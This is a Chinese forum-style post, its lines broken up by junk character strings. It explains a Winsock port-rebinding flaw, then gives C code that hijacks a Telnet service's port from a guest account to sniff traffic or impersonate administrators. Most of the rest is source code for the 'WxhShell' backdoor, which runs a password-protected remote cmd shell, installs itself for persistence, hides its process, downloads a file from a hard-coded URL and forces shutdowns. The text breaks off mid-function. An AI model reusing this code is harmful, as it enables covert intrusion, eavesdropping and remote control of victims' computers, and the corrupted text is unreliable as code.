在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
GXnrVI s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
3|0wD:Dy d :vuRK4+ saddr.sin_family = AF_INET;
hNRN`\5Z mXPA1#qo saddr.sin_addr.s_addr = htonl(INADDR_ANY);
\[J\I cr`NHl/XF bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
p9y@5z Bjp4:;Bb 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
`DFo:w!k 5%jy7)8C 这意味着什么?意味着可以进行如下的攻击:
n~Yr`5+Z rj
] ~g 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
$~,J8?)(z 2CF5qn}T 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
U^;|as )z_5I (?& 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
<\'aUfF v QPyHos` 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
dJ9v/k_ Y6[O
s1 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
m S4N%Q /8? u2
q 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
h
J H LTTMxiq[* 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
iBt<EM]U/ ]~@uStHn #include
7PW7&]-WQ #include
Pr_DMu #include
zN&m-nrw #include
<'N~|B/yZ DWORD WINAPI ClientThread(LPVOID lpParam);
N[zR%(YS int main()
o}=c(u {
D=jtXQF WORD wVersionRequested;
7$JOIsM DWORD ret;
ET[>kn^# WSADATA wsaData;
3De(:c)@ BOOL val;
s}<i[hY> SOCKADDR_IN saddr;
|vPU]R>6 SOCKADDR_IN scaddr;
WjsmLb:5 int err;
6ltV}Wt- SOCKET s;
FvXpqlp SOCKET sc;
Vz]yJ: int caddsize;
rM`z2*7%d HANDLE mt;
EEP&Y? DWORD tid;
8wLGmv^ wVersionRequested = MAKEWORD( 2, 2 );
.^wBv
'Y err = WSAStartup( wVersionRequested, &wsaData );
T`2a) if ( err != 0 ) {
Rjn%<R2nW printf("error!WSAStartup failed!\n");
d-jZ 5nl( return -1;
"9#hk3*GqX }
)
S-Fuq4i4 saddr.sin_family = AF_INET;
:0kKw=p1R 2Mu3]2> //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
T[- %b9h> ;qs^+ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
>-j([% saddr.sin_port = htons(23);
@GWlo\rM6^ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
TPA*z9n+B {
[M2xF<r6t printf("error!socket failed!\n");
b( ~#CHg return -1;
-HvJ&O.V$ }
ZmvtUma val = TRUE;
DFQ`<r&! //SO_REUSEADDR选项就是可以实现端口重绑定的
(\%J0kR3[ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
}vd72PB {
lXRB"z printf("error!setsockopt failed!\n");
MM*9Q`cB return -1;
E
<N% }
v.53fx //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
? CU; //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
g:YUuZ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
H<"EE15 gNC'kCx0c if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
z+c'-!e/ {
mGoNT ret=GetLastError();
I9h{fB printf("error!bind failed!\n");
5R6QZVc return -1;
7#j9"* }
,U~in)\
U listen(s,2);
U45-R- while(1)
P! P` MX {
*G[` T%g caddsize = sizeof(scaddr);
Mehp]5* //接受连接请求
mr,GHx sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
+hcJ!$J7 if(sc!=INVALID_SOCKET)
X([@}ren {
s$~H{za mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
`)NTJc$): if(mt==NULL)
CdKs+x&tZ {
TA+#{q+a printf("Thread Creat Failed!\n");
"?6R"Vk?: break;
ZU`HaL$ }
0zk054F' }
@h\i<sh!^ CloseHandle(mt);
y!x-R!3 }
E O " closesocket(s);
X{iidTW`xv WSACleanup();
@ev^e!B return 0;
PiLLUyQx }
(L!u[e0[# DWORD WINAPI ClientThread(LPVOID lpParam)
;L,yJ~ {
D=B :tP SOCKET ss = (SOCKET)lpParam;
&`_|[Y ]H SOCKET sc;
_zLEHEZ- unsigned char buf[4096];
'cY@Dqg1 SOCKADDR_IN saddr;
9y*(SDF long num;
+A%zFF3 DWORD val;
I]B9+Z?xo DWORD ret;
xOZvQ\% //如果是隐藏端口应用的话,可以在此处加一些判断
mo]>Um'F //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
crJNTEz saddr.sin_family = AF_INET;
)5TX3#=;(G saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
:~p_(rE saddr.sin_port = htons(23);
\\/
!I
if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
=|d5V% mK {
3]>YBbXvE printf("error!socket failed!\n");
}'\M}YM return -1;
E8o9ufj3 }
Y3xEFqMU val = 100;
8g/r8u~ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
/sVmQqVY {
K,*If Hi6[ ret = GetLastError();
k,y#|bf,Y
return -1;
">s0B5F7 }
kEg~yN if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
!zxq9IhWR {
R~bLEo ret = GetLastError();
TSsx^h8/ return -1;
)' 2vUt`_7 }
`~@}f"c`u if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
qt%/0 {
5a* Awv} printf("error!socket connect failed!\n");
T{T> S%17~ closesocket(sc);
1'5!")r closesocket(ss);
hflDVGBW return -1;
+7K]5p;!~ }
l_x>.' a while(1)
h#8{fr)6 {
s'@@q //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
]j(Ld\:L //如果是嗅探内容的话,可以再此处进行内容分析和记录
dRTpGz //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
<pUc(
tPoz num = recv(ss,buf,4096,0);
j MA%`*r if(num>0)
_[
`"E' send(sc,buf,num,0);
t*Wxvoxk else if(num==0)
c:}K(yAdd break;
A3 zNUad; num = recv(sc,buf,4096,0);
5gPAX $j H if(num>0)
fVBRP[, send(ss,buf,num,0);
& l~=c2 else if(num==0)
!i6 aA1' break;
n]btazM{ }
J~G"D-l<9/ closesocket(ss);
k_Edug~B closesocket(sc);
~#[ ZuMO? return 0 ;
#/pZ#ny }
0M>%1* lc0Z fC dnTXx*I: ==========================================================
?rV c} 7h/{F({r= 下边附上一个代码,,WXhSHELL
o=(>#iVM [ \Aor[( ==========================================================
Z8Clm:S AwL;-|X #include "stdafx.h"
3!B3C(g
@KYmkxW #include <stdio.h>
-OP5v8c
f #include <string.h>
"i*Gi
\U #include <windows.h>
/h%MWCZWm^ #include <winsock2.h>
xE.=\UzJ #include <winsvc.h>
c[0$8F> #include <urlmon.h>
E0S[TEDa]
?hpk)Qu #pragma comment (lib, "Ws2_32.lib")
XC{(O:EG #pragma comment (lib, "urlmon.lib")
( ]o6Pi iJE|u #define MAX_USER 100 // 最大客户端连接数
'C*NyHc #define BUF_SOCK 200 // sock buffer
-/&6}lD #define KEY_BUFF 255 // 输入 buffer
VVje|T^{Z }fs;yPl, #define REBOOT 0 // 重启
_V|'iz9. #define SHUTDOWN 1 // 关机
z95V 7E g^En6n) #define DEF_PORT 5000 // 监听端口
(jYs_8; Ic&t_B*i}] #define REG_LEN 16 // 注册表键长度
;h3*MR #define SVC_LEN 80 // NT服务名长度
:<IW' fhn0^Qc"+ // 从dll定义API
Tm^zoVi typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
AjANuyUaP typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
^NLKX5Q typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
x{*!"a> typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
S8vmXlD C 127he // wxhshell配置信息
l7J_s?!j struct WSCFG {
T[q-$8U int ws_port; // 监听端口
2i(|? XJ^ char ws_passstr[REG_LEN]; // 口令
qc'tK6=jp int ws_autoins; // 安装标记, 1=yes 0=no
v981nJ>w, char ws_regname[REG_LEN]; // 注册表键名
L}a3!33)C char ws_svcname[REG_LEN]; // 服务名
M7Hk54U+t char ws_svcdisp[SVC_LEN]; // 服务显示名
$'FPst8Q< char ws_svcdesc[SVC_LEN]; // 服务描述信息
v|,H d char ws_passmsg[SVC_LEN]; // 密码输入提示信息
khv! \^&DD int ws_downexe; // 下载执行标记, 1=yes 0=no
pmW=l/6+V3 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
Ft.BfgJ$ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
mQs'2Y6Oa sqZHk+<% };
A# M q=1SP@;\6 // default Wxhshell configuration
MthThsr7 struct WSCFG wscfg={DEF_PORT,
47K5[R "xuhuanlingzhe",
4l`gAE$ 1,
\]OD pi
2 "Wxhshell",
#!D5DK@+ "Wxhshell",
<7]
z'
"WxhShell Service",
ycAQPz}=I "Wrsky Windows CmdShell Service",
0~1P&Qs<
"Please Input Your Password: ",
ToJru 1,
}t-r:R$, "
http://www.wrsky.com/wxhshell.exe",
iRVLo~ "Wxhshell.exe"
: }IS=A };
sTqB%$K} 7:j #1N[p // 消息定义模块
`(a^=e5 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
U; q)01 char *msg_ws_prompt="\n\r? for help\n\r#>";
'Lw\nO. char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Ul'G
g char *msg_ws_ext="\n\rExit.";
)w`Nkx char *msg_ws_end="\n\rQuit.";
3 z#;0n} char *msg_ws_boot="\n\rReboot...";
u ?Xku8 1l char *msg_ws_poff="\n\rShutdown...";
zn~m;0Xi char *msg_ws_down="\n\rSave to ";
v1lj /A kv4J@ char *msg_ws_err="\n\rErr!";
q%vUEQLBp char *msg_ws_ok="\n\rOK!";
5k(#kyP I.<#t(io char ExeFile[MAX_PATH];
=%
JDo int nUser = 0;
o_N02l4J) HANDLE handles[MAX_USER];
"}EbA3 int OsIsNt;
yN o8R[M }Tef;8d SERVICE_STATUS serviceStatus;
m #eD v* SERVICE_STATUS_HANDLE hServiceStatusHandle;
*3K"Kc2 nJya1AH; // 函数声明
)AoFd> int Install(void);
MnI $% int Uninstall(void);
bcs!4 int DownloadFile(char *sURL, SOCKET wsh);
rh_({rvQ int Boot(int flag);
`+o.w#cl void HideProc(void);
.-ABo]hf int GetOsVer(void);
31C]TdJ int Wxhshell(SOCKET wsl);
ES2qX]I void TalkWithClient(void *cs);
!tdfTf$ int CmdShell(SOCKET sock);
*^uj(8U int StartFromService(void);
&F}+U#H int StartWxhshell(LPSTR lpCmdLine);
Chup %F |@ HdTGD VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
7e<Q{aB VOID WINAPI NTServiceHandler( DWORD fdwControl );
I@ k8^ K5lp-F // 数据结构和表定义
F%d"gF0qu SERVICE_TABLE_ENTRY DispatchTable[] =
;^*!<F%t9R {
`Vi:r9|P {wscfg.ws_svcname, NTServiceMain},
NHF?73: {NULL, NULL}
ka3Z5 };
lRr-S% TfVD'HAN;l // 自我安装
9F](%/ int Install(void)
`[&2K@u {
N96BWgT char svExeFile[MAX_PATH];
z{d5Lrk HKEY key;
wVOL7vh strcpy(svExeFile,ExeFile);
iL, XBoE =R.9"7~2x // 如果是win9x系统,修改注册表设为自启动
ks;w c"k" if(!OsIsNt) {
5uer
[1A if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
}A7qIys$4 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
/8>/"Z2S RegCloseKey(key);
^gyp-
! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
[BBKj)IK RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
F/SsiUBS RegCloseKey(key);
Cpcd`y=IN return 0;
0AKwZ'
&H }
E3skC%} }
|mmG
s }
|q2lTbJ else {
zYdtQjv i@Zj7#e* // 如果是NT以上系统,安装为系统服务
)^Pvm SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
}YP7x| if (schSCManager!=0)
`Qf
:PX3 {
-<!17jy SC_HANDLE schService = CreateService
mN
6`8
[ (
N-9gfG schSCManager,
Q;/F0JDH wscfg.ws_svcname,
zD;]
sk4 wscfg.ws_svcdisp,
Te}yQ= + SERVICE_ALL_ACCESS,
O)uM&B= SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
1cBhcYv" SERVICE_AUTO_START,
EE6|9K> SERVICE_ERROR_NORMAL,
bTGK@~ svExeFile,
FraW6T}_ NULL,
d$rUxqB. NULL,
o}+Uy NULL,
78CJ NULL,
Lu 39eO6 NULL
j(C
UYm );
KR(} A" if (schService!=0)
!muYn-4M {
>Ryss@o CloseServiceHandle(schService);
v-fi9$#^ CloseServiceHandle(schSCManager);
o`mIi strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
hO.G'q$V strcat(svExeFile,wscfg.ws_svcname);
qd~98FS if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
YG~ o RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
UX`DZb+^ RegCloseKey(key);
#6sC&w3 return 0;
*P R_Y=v% }
.l=*R7~EU }
S<!_
u q CloseServiceHandle(schSCManager);
|zq!CLjD@ }
G+ v, Hi1 }
Rgfhs[Z }K80G~O2< return 1;
^Lmc%y }
C'czXZtn p_qm}zp
// 自我卸载
:LiDJF int Uninstall(void)
Z3So|M{v {
xY'qm8V HKEY key;
NTXL>Q*e Tj21YK.mk if(!OsIsNt) {
~]W[ {3 ; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
O| J`~Lk RegDeleteValue(key,wscfg.ws_regname);
%y\eBfW,/ RegCloseKey(key);
RC{Z)M{~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
aXbNDj
][ RegDeleteValue(key,wscfg.ws_regname);
n_aNs]C9R RegCloseKey(key);
W0MnGzZ return 0;
04guud } }
2Uv3_i< }
(vAv^A*i} }
Ivt} o_b* else {
"Z 2Tc) vdT+,x` SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
[j}7 @Mr`\ if (schSCManager!=0)
xR|eye R {
.z$Sm SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
noh|/sPMD if (schService!=0)
:#w+?LA* {
hK39_A- if(DeleteService(schService)!=0) {
;eW'}&|LV CloseServiceHandle(schService);
=Etwa CloseServiceHandle(schSCManager);
|5~wwL@LW7 return 0;
f']sU/c= }
<L/M`(:=k CloseServiceHandle(schService);
XK%W^a*x }
}or2 $\>m CloseServiceHandle(schSCManager);
e-iYJ? }
,V33v<|wc }
J7ktfyQ0W `xX4!^0Hm return 1;
L)/6kt= }
3aO;@GNJ |rxKCzjm // 从指定url下载文件
mC:X4l]5 int DownloadFile(char *sURL, SOCKET wsh)
A3"1D {
umm \r&]A HRESULT hr;
*"ykTqa
char seps[]= "/";
Ep<!zO| char *token;
QP$nDK< char *file;
s`#ntset0 char myURL[MAX_PATH];
4\1wyN /}M char myFILE[MAX_PATH];
b~/Wnp5 AJ\VY;m7F strcpy(myURL,sURL);
(L
y%{ Y token=strtok(myURL,seps);
i0'Xy>l while(token!=NULL)
U+.PuC[3 {
.>kccLr:z file=token;
t}]9VD9
token=strtok(NULL,seps);
c>S"`r }
>G<\1R K5!";V GetCurrentDirectory(MAX_PATH,myFILE);
3s?v(1 {) strcat(myFILE, "\\");
_b0S strcat(myFILE, file);
m|[\F#+C send(wsh,myFILE,strlen(myFILE),0);
nY{i>Y send(wsh,"...",3,0);
NokXE hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
H}h~~7E if(hr==S_OK)
0
OAqA?Z return 0;
M)"]$TM else
!K3i-zY return 1;
gH{:`E k7 n5bXQ }
#)_J)/h _8[UtZYG // 系统电源模块
^e?$ ]JiA! int Boot(int flag)
F2bm+0vOJ {
e86Aqehle HANDLE hToken;
'bB>$E TOKEN_PRIVILEGES tkp;
Mx/h?}u; $ yDW.pt if(OsIsNt) {
|.b%rVu OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
rDIhpT)a LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
MV0<^/p| tkp.PrivilegeCount = 1;
4ef*9|^x# tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
a9#W9eP AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
w::r?.9 if(flag==REBOOT) {
^273l(CZ1 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
N@cMM1 return 0;
5mI?pfm }
6Cl+KcJH else {
v]WH8GI if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
9U2Px$E return 0;
ElQJ\% }
uQ:Qb| }
6oj4Rg+( else {
ra]!4Kd' if(flag==REBOOT) {
Az
U|p if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
MxY50^}( return 0;
968Ac}OA }
4)c+t"h else {
IIq"e~"Vs if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
')C|`(hs return 0;
LKqRvPnh }
cJP'ShnCh }
`aO.=:O_ <9@&oN+T return 1;
"0|BoG }
m9#}X_&x X,>(Y8 // win9x进程隐藏模块
U:qF/%w void HideProc(void)
^pJ0nY#c {
{B@*DQv .=Pm>o/, HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
UUl*f!&
o if ( hKernel != NULL )
jEZ
" {
&nQRa?3,
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
mYjf5 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
5\VxXiy0 FreeLibrary(hKernel);
yrO?Np }
Jf_]Z c`-YIz)W return;
pAENXC\, }
mH'\:oN =fo4x|{O // 获取操作系统版本
f4R1$(< int GetOsVer(void)
/ca(a\@R {
h=hoV5d@ OSVERSIONINFO winfo;
DeA @0HOxh winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
;)gLjF/F7 GetVersionEx(&winfo);
5+`=t07^et if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
}W1^t return 1;
/M 0 p_4 else
u/} xE7G return 0;
{b(rm,% }
?LM:RADCm h>dxBN // 客户端句柄模块
]yo_wGiwY int Wxhshell(SOCKET wsl)
F\JLbY{x] {
+q7qK* SOCKET wsh;
b 1cd&e struct sockaddr_in client;
V{KjRSVf= DWORD myID;
O8gfiQqF& CP +4k.)*O while(nUser<MAX_USER)
Wt(Kd5k0'2 {
?;Un#6b int nSize=sizeof(client);
=Qyqfy*@D? wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
6mwvI4) if(wsh==INVALID_SOCKET) return 1;
#
2d,U\_ PDhWFF handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
r9?o$=T if(handles[nUser]==0)
n-d:O\] closesocket(wsh);
NNgK:YibD else
@Eo4U]- nUser++;
kr#I{gF }
~fBex_.o* WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
j13riI3A Ex6o=D2 return 0;
@2u#93Y }
D{>\-]\ N50fL // 关闭 socket
E$w#+.QP void CloseIt(SOCKET wsh)
z=B<
`}@3 {
3i6h"Wu`n closesocket(wsh);
\OP9_J(* nUser--;
(X*9w##x( ExitThread(0);
E&'#=K[ }
F% }7cm2 \Y9I~8\gB // 客户端请求句柄
vuZf#\zh} void TalkWithClient(void *cs)
Ym'7vW#~ {
{b2 aL7 p(.N(c SOCKET wsh=(SOCKET)cs;
)'`CC>Q char pwd[SVC_LEN];
|!oXvXU char cmd[KEY_BUFF];
lO[E[c G char chr[1];
q4)Ey int i,j;
$}db /hY* 9T$u+GX' while (nUser < MAX_USER) {
V#NtBreN ER_ 3' if(wscfg.ws_passstr) {
b )Tl* if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
>zFD$ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
B_cgWJ*4 //ZeroMemory(pwd,KEY_BUFF);
Y_+
SA|s i=0;
hl**zF while(i<SVC_LEN) {
5\&]J7( Uh}+"h5 // 设置超时
nW11wtiO. fd_set FdRead;
4b=Gg struct timeval TimeOut;
\KCWYi] FD_ZERO(&FdRead);
lr0M<5d=p FD_SET(wsh,&FdRead);
zXjwnep TimeOut.tv_sec=8;
AxEc^Cof TimeOut.tv_usec=0;
rEmwKZF' int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
%{U"EZ]D! if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
5*Btb#: ?T
<rt if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
~~@y_e[N#l pwd
=chr[0]; =D5wqCT(Q
if(chr[0]==0xd || chr[0]==0xa) { |WBZN1W)
pwd=0; Z B$NVY
break; pu#[pa
} HJ",Sle
i++; =6fB*bNk]
} RbKwO}
z$q
t| _{;!^
// 如果是非法用户,关闭 socket FD))'!>
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);
jC4O`
} o<nS_x
e+{BJN
vz
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); W6i3Psjsw
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m d_g}N(C
Mb1wYh
while(1) { WU7cF81$
5/,Qz>QE[
ZeroMemory(cmd,KEY_BUFF); _-RyHgX
8RU.}PD
// 自动支持客户端 telnet标准 =gs~\q
j=0; `|,Bm|~:
while(j<KEY_BUFF) { {pC\\}
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )T/J
cmd[j]=chr[0]; Zt_r9xs>
if(chr[0]==0xa || chr[0]==0xd) { &}E:jt}
cmd[j]=0; 2qjyFTT
break; DLXL!-)z
} 6<PW./rk:
j++; - zQ<ZE
} A$:|Qd7F1
b Ob
Nc
// 下载文件 !?b/-~o7S
if(strstr(cmd,"http://")) { ki#bPgT
send(wsh,msg_ws_down,strlen(msg_ws_down),0); )'t&q/Wn
if(DownloadFile(cmd,wsh)) 5D
L,U(Y
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3e *-\TP-
else T0Q51Q
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MO TE/JG
} <%&_#<C)
else { h1*FPsc
5VZjDg?
switch(cmd[0]) { 7DZTQUb"
Z vRxi&Z{?
// 帮助 C/)`<b(
case '?': { *E7R(#,yC
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,_bp)-O G
break; >:$"a
} x;(g
// 安装 lC4PKmno
case 'i': { bJ6p,]g
if(Install()) ol }`Wwy
send(wsh,msg_ws_err,strlen(msg_ws_err),0); .6Fsw
else fM2^MUp[=1
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wV>c" J
break; YXRjx.srf
} WL:0R>0
// 卸载 c 6q/X*
case 'r': { "koo` J
if(Uninstall()) *6P'q4)
send(wsh,msg_ws_err,strlen(msg_ws_err),0); e=L*&X
else 0qR$J
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 59Nd}wPO;
break; \447]<u
} 8)?_{
// 显示 wxhshell 所在路径 (l_:XG)7~b
case 'p': { x,uBJ
char svExeFile[MAX_PATH]; U6c@Et ,
strcpy(svExeFile,"\n\r"); .
pP7"E4]
strcat(svExeFile,ExeFile); ,cD1{T\
send(wsh,svExeFile,strlen(svExeFile),0); L;lk.~V4T
break; 32^#RlSu8
} @,e8t BL
// 重启 }lO
}x
case 'b': { R;'?;I
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )qd={
if(Boot(REBOOT)) CIy^`2wq
send(wsh,msg_ws_err,strlen(msg_ws_err),0); EBwK 7c
else { 2LZS|fB9o
closesocket(wsh); MQ9vPgh
ExitThread(0); URQ@=W7
} *(Ro;?O,pi
break; aaT5u14%
} ,5.
<oDH
// 关机 |*fNH(8&H
case 'd': { ,Z5Fea
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); cd&B?\I
if(Boot(SHUTDOWN)) Fs)
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7UDq/:}Fo
else { L#!$hq9{_
closesocket(wsh); ~j]dct7
ExitThread(0); jzMg'z/@J
} `)2[ST
break; 3a^)u-9,x
} mw"}8y
// 获取shell +4HlRGH
case 's': { 5us^B8Q
CmdShell(wsh); dQK`sLChv
closesocket(wsh); O{u[+g
ExitThread(0); !t%Q{`p
break; qK,V$l(4#
} 1!1DuQ
// 退出 wHWma)}-z
case 'x': { ,2_w=<hq
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); F9O`HFVK
CloseIt(wsh); 4|=vxJ
break; ;AJ<
LC
} `@MPkCy1
// 离开 %l;*I?0H
case 'q': { 8,y{q9O
send(wsh,msg_ws_end,strlen(msg_ws_end),0); m_$JWv\|\
closesocket(wsh); K( z[}
WSACleanup(); y+RRg[6|
exit(1); 69iM0X!'u
break; xl9(ze
} :G0+;[?N
} fyrd`R
} (7L/eDMT
MX?}?"y
// 提示信息 5QOZ%9E&M
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]!J<,f7W
} ki3 HcV
} #//
%&k
Z'e\_C
return; cyBW0wV1
} g<\>; }e
gwJ}]Tf
// shell模块句柄 d EIa=e|
int CmdShell(SOCKET sock) #'8)u)!
{ 6i-*N[!U
STARTUPINFO si; )WmZP3$^TX
ZeroMemory(&si,sizeof(si)); 1\IZcJ {
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {6:&
%V
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3;A$<s
PROCESS_INFORMATION ProcessInfo; nd;O(s;
char cmdline[]="cmd"; kU1 %f
o
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *W%'Di
return 0; y
qkX:jt
} 7PA=)a\
"*t6t4/Q
// 自身启动模式 W8VO)3nmD
int StartFromService(void) KX=/B=3~
{ H>Ks6V)RL4
typedef struct 80HEAv,O
{ \6i9q=
DWORD ExitStatus; jceHKl
DWORD PebBaseAddress; pagC(F
DWORD AffinityMask; A]#_"fayo
DWORD BasePriority; W#VfX!~
ULONG UniqueProcessId; [NjajA~z>F
ULONG InheritedFromUniqueProcessId; WkP|4&-<
